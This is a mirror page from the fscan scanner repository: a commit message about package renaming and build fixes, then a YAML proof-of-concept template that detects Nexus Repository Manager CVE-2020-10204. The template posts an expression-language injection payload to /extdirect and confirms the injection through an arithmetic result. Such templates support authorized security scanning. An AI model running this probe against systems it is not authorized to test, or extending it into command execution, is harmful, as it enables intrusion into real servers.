mirror of
https://github.com/shadow1ng/fscan.git
synced 2025-09-14 14:06:44 +08:00

- 重命名 Common -> common,WebScan -> webscan,遵循 Go 包命名约定 - 修复模块路径大小写不匹配导致的编译错误 - 清理依赖项,优化 go.mod 文件 - 添加 Docker 测试环境配置文件 - 新增镜像拉取脚本以处理网络超时问题 - 成功编译生成 fscan v2.2.1 可执行文件 该修复解决了 Linux 系统下包名大小写敏感导致的模块解析失败问题。
21 lines
918 B
YAML
21 lines
918 B
YAML
name: poc-yaml-nexus-cve-2020-10204
|
|
set:
|
|
r1: randomInt(40000, 44800)
|
|
r2: randomInt(40000, 44800)
|
|
rules:
|
|
- method: POST
|
|
path: "/extdirect"
|
|
headers:
|
|
Content-Type: application/json
|
|
body: |
|
|
{"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"anonymous@example.org","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28}
|
|
expression: |
|
|
response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
|
|
detail:
|
|
Affected Version: "nexus<3.21.2"
|
|
author: kingkk(https://www.kingkk.com/)
|
|
links:
|
|
- https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
|
|
- https://www.cnblogs.com/magic-zero/p/12641068.html
|
|
- https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
|